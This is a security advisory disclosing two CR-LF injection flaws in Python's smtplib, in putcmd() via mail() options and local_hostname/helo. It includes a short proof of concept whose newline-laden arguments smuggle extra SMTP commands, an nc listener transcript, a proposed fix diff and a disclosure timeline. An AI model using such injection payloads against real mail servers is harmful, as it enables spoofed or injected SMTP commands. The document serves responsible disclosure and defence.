Vulnerability Note
1 Summary
Python is a programming language that lets you work more quickly and integrate your systems more effectively.
Two CR-LF injection points have been discovered in the Python standard library for SMTP
interaction (client perspective) named smtplib
that may allow a malicious user with direct access to smtplib.SMTP(..., local_hostname, ..)
or smtplib.SMTP(...).mail(..., options)
to inject a CR-LF control sequence to inject arbitrary SMTP
commands into the protocol stream.
The root cause of this is likely to be found in the design of the putcmd(cmd, args)
method, that fails to validate that cmd
nor args
contains any protocol control sequences (i.e. CR-LF
).
It is recommended to reject or encode \r\n
in putcmd()
and enforce that potential multi-line commands call putcmd()
multiple times to avoid that malicious input breaks the expected context of the method and hence cause unexpected behavior. For reference, the DATA
command (multi-line) would not be affected by this change as it calls putcmd()
only once and continues with directly interacting with the socket to submit the body.
2 Details
2.1 Description
The root cause of this (and probably also some earlier reported CR-LF injections) is the method putcmd()
in lib/smtplib.py
[3]. The method is called by multiple commands and does not validate that neither cmd
nor args
contains any CRLF
sequences.
def putcmd(self, cmd, args=""):
"""Send a command to the server."""
if args == "":
str = '%s%s' % (cmd, CRLF)
else:
str = '%s %s%s' % (cmd, args, CRLF)
self.send(str)
However, the issue was initially found in mail(..., options)
[4] which fails to ensure that none of the provided options
contains CRLF
characters. The method only ensures that provides mail addresses are quoted, optionslist
is untouched:
self.putcmd("mail", "FROM:%s%s" % (quoteaddr(sender), optionlist))
A similar issue was found with smtplib.SMTP(...,local_hostname)
(and helo(name)
, ehlo(name)
) which may potentially contain CRLF
sequences and, therefore, can be used to inject SMTP
commands.
Here’s a snipped of helo
[5]
def helo(self, name=''):
"""SMTP 'helo' command.
Hostname to send for this command defaults to the FQDN of the local
host.
"""
self.putcmd("helo", name or self.local_hostname)
(code, msg) = self.getreply()
self.helo_resp = msg
return (code, msg)
We highly recommend, fixing this issue once and for all directly in putcmd()
and enforce that the interface can only send one command at a time, rejecting arguments that contain CRLF
sequences or properly encoding them to avoid injection.
3 Proof of Concept
-
set-up a local tcp listener
⇒ nc -l 10001
-
run the following PoC and replay the server part as outline in 3.
import smtplib
server = smtplib.SMTP('localhost', 10001, "hi\nX-INJECTED") # localhostname CRLF injection
server.set_debuglevel(1)
server.sendmail("[email protected]", "[email protected]", "wazzuuup\nlinetwo")
server.mail("[email protected]",["X-OPTION\nX-INJECTED-1","X-OPTION2\nX-INJECTED-2"]) # options CRLF injection
- interact with
smtplib
, check forX-INJECTED
⇒ nc -l 10001
nc -l 10001
220 yo
ehlo hi
X-INJECTED
250-AUTH PLAIN
250
mail FROM:<[email protected]>
250 ok
rcpt TO:<[email protected]>
250 ok
data
354 End data with <CR><LF>.<CR><LF>
wazzuuup
linetwo
.
250 ok
mail FROM:<[email protected]> X-OPTION
X-INJECTED-1 X-OPTION2
X-INJECTED-2
250 ok
quit
250 ok
3.1 Proposed Fix
- enforce that
putcmd
emits exactly one command at a time and encode\n -> \\n
.
diff --git a/Lib/smtplib.py b/Lib/smtplib.py
index e2dbbbc..9c16e7d 100755
--- a/Lib/smtplib.py
+++ b/Lib/smtplib.py
@@ -365,10 +365,10 @@ class SMTP:
def putcmd(self, cmd, args=""):
"""Send a command to the server."""
if args == "":
- str = '%s%s' % (cmd, CRLF)
+ str = cmd
else:
- str = '%s %s%s' % (cmd, args, CRLF)
- self.send(str)
+ str = '%s %s' % (cmd, args)
+ self.send('%s%s' % (str.replace('\n','\\n'), CRLF))
4 Vendor Response
Vendor response: gone silent; stalled patch.
4.1 Timeline
JUL/02/2020 - contact psrt; provided details, PoC, proposed patch
JUL/04/2020 - confirmed that vulnerability note was received
SEP/10/2020 - requested status update.
FEB/04/2021 - Filed issue https://bugs.python.org/issue43124 for transparency
MAY/28/2021 - disclosed over a year a go. public disclosure.
5 References
- [1] https://www.python.org/
- [2] https://www.python.org/downloads/
- [3] https://github.com/python/cpython/blob/1da648aceb2496c672aff82ba37ee071ac6054ac/Lib/smtplib.py#L365-L371
- [4] https://github.com/python/cpython/blob/1da648aceb2496c672aff82ba37ee071ac6054ac/Lib/smtplib.py#L520
- [5] https://github.com/python/cpython/blob/1da648aceb2496c672aff82ba37ee071ac6054ac/Lib/smtplib.py#L428-L445
- [6] https://bugs.python.org/issue43124